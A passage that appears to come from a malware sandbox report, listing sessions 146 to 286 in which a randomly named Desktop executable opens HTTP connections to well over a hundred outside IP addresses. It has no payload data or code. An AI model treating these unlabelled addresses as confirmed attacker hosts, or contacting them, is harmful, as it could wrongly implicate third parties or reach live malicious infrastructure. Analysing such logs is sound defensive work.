146	192.168.2.4	57305	103.224.212.226	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	57124	13.234.155.54	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	57321	45.40.150.54	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	57516	172.96.186.206	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.4	57416	162.210.96.117	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.4	57239	202.226.37.158	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.4	57318	89.31.143.1	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.4	57420	104.247.74.107	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.4	57419	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.4	57519	133.130.97.143	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.4	57531	117.20.63.148	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.4	57709	3.234.162.143	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.4	57774	3.33.130.190	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.4	57765	34.136.104.255	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.4	57898	192.96.211.44	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.4	57830	178.32.41.233	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.4	57819	81.169.145.74	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.4	57831	191.6.210.8	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.4	57893	185.135.132.105	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.4	57891	35.214.252.247	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.4	57909	109.168.109.224	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.4	57038	34.208.26.152	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.4	57892	133.130.97.143	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.4	58070	185.230.63.186	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.4	57920	133.130.97.143	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.4	58072	3.33.130.190	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.4	58074	104.200.30.31	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.4	58071	103.224.212.226	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.4	58067	35.214.252.247	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.4	58085	89.31.143.1	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.4	58083	185.183.156.218	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.4	58075	185.183.156.218	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
178	192.168.2.4	58073	81.169.145.157	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.4	58093	81.169.145.157	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
180	192.168.2.4	58088	191.252.51.5	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.4	58014	13.234.155.54	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.4	58191	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.4	58216	159.203.32.4	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
184	192.168.2.4	58304	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
185	192.168.2.4	57942	148.66.138.193	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
186	192.168.2.4	58188	139.162.169.45	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
187	192.168.2.4	58323	162.210.96.117	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
188	192.168.2.4	58242	139.162.169.45	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
189	192.168.2.4	58377	185.230.63.107	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
190	192.168.2.4	58348	45.40.150.54	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
191	192.168.2.4	58402	54.83.33.36	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
192	192.168.2.4	58385	15.235.14.141	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
193	192.168.2.4	58322	199.34.228.177	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
194	192.168.2.4	58410	54.83.33.36	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
195	192.168.2.4	58407	162.241.62.220	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
196	192.168.2.4	58364	89.31.143.1	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
197	192.168.2.4	58515	35.237.190.156	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
198	192.168.2.4	58262	148.66.138.193	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
199	192.168.2.4	58538	104.247.74.107	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
200	192.168.2.4	58706	185.230.63.171	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
201	192.168.2.4	58705	185.230.63.186	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
202	192.168.2.4	58669	72.167.58.161	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
203	192.168.2.4	58719	76.223.105.230	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
204	192.168.2.4	58718	192.96.211.44	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
205	192.168.2.4	58768	3.33.130.190	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
206	192.168.2.4	58700	103.224.212.226	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
207	192.168.2.4	58704	185.54.192.125	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
208	192.168.2.4	58847	3.33.130.190	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
209	192.168.2.4	58878	3.94.41.167	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
210	192.168.2.4	58717	99.81.150.60	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
211	192.168.2.4	58742	178.32.41.233	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
212	192.168.2.4	58771	15.236.29.106	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
213	192.168.2.4	58756	81.169.145.74	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
214	192.168.2.4	58925	172.96.186.206	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
215	192.168.2.4	58965	192.124.249.13	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
216	192.168.2.4	58956	109.168.109.224	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
217	192.168.2.4	58939	35.214.252.247	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
218	192.168.2.4	58720	13.234.155.54	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
219	192.168.2.4	58886	191.6.210.8	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
220	192.168.2.4	59004	103.224.212.226	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
221	192.168.2.4	59134	23.185.0.1	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
222	192.168.2.4	59085	92.62.143.50	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
223	192.168.2.4	59069	81.169.145.74	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
224	192.168.2.4	59148	104.26.12.245	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
225	192.168.2.4	59130	117.20.63.148	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
226	192.168.2.4	59340	3.111.240.6	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
227	192.168.2.4	59383	35.214.252.247	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
228	192.168.2.4	59433	117.20.63.148	2030	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
229	192.168.2.4	59578	76.223.26.96	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
230	192.168.2.4	59593	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
231	192.168.2.4	59586	72.167.58.161	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
232	192.168.2.4	59581	185.183.156.218	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
233	192.168.2.4	59582	185.183.156.218	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
234	192.168.2.4	59595	81.169.145.157	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
235	192.168.2.4	59580	133.130.97.143	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
236	192.168.2.4	59592	81.169.145.157	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
237	192.168.2.4	59579	133.130.97.143	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
238	192.168.2.4	59692	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
239	192.168.2.4	59695	162.250.126.5	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
240	192.168.2.4	59685	15.235.14.141	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
241	192.168.2.4	59734	47.246.24.211	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
242	192.168.2.4	59749	162.210.96.117	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
243	192.168.2.4	59694	45.40.150.54	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
244	192.168.2.4	59693	191.252.51.5	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
245	192.168.2.4	59778	45.40.150.54	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
246	192.168.2.4	59952	3.33.130.190	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
247	192.168.2.4	59943	52.206.191.232	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
248	192.168.2.4	59992	3.33.130.190	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
249	192.168.2.4	59926	66.235.200.147	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
250	192.168.2.4	59994	185.230.63.186	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
251	192.168.2.4	59991	192.96.211.44	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
252	192.168.2.4	59944	104.247.74.107	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
253	192.168.2.4	59754	13.234.155.54	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
254	192.168.2.4	60051	76.223.26.96	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
255	192.168.2.4	60064	192.124.249.13	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
256	192.168.2.4	60053	23.185.0.1	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
257	192.168.2.4	60074	172.96.186.206	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
258	192.168.2.4	59946	185.135.132.105	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
259	192.168.2.4	59945	89.31.143.1	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
260	192.168.2.4	59934	74.220.219.189	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
261	192.168.2.4	60062	162.241.62.220	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
262	192.168.2.4	59956	35.164.64.246	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
263	192.168.2.4	59938	95.168.220.210	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
264	192.168.2.4	60056	172.67.132.45	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
265	192.168.2.4	59988	89.31.143.1	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
266	192.168.2.4	60054	34.136.104.255	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
267	192.168.2.4	60067	34.136.104.255	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
268	192.168.2.4	60009	139.162.169.45	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
269	192.168.2.4	60018	139.162.169.45	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
270	192.168.2.4	60006	194.47.252.115	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
271	192.168.2.4	60032	109.168.109.224	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
272	192.168.2.4	60060	15.236.29.106	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
273	192.168.2.4	60049	35.214.252.247	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
274	192.168.2.4	60055	99.81.150.60	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
275	192.168.2.4	60071	81.19.159.64	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
276	192.168.2.4	60069	213.0.13.44	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
277	192.168.2.4	60050	81.169.145.74	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
278	192.168.2.4	60095	185.54.192.125	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
279	192.168.2.4	60070	78.128.62.138	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
280	192.168.2.4	60125	178.32.41.233	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
281	192.168.2.4	60176	144.202.62.131	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
282	192.168.2.4	60199	162.250.126.5	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
283	192.168.2.4	60202	172.67.132.45	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
284	192.168.2.4	59939	148.66.138.193	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
285	192.168.2.4	60170	81.19.159.64	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
286	192.168.2.4	60057	13.234.155.54	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

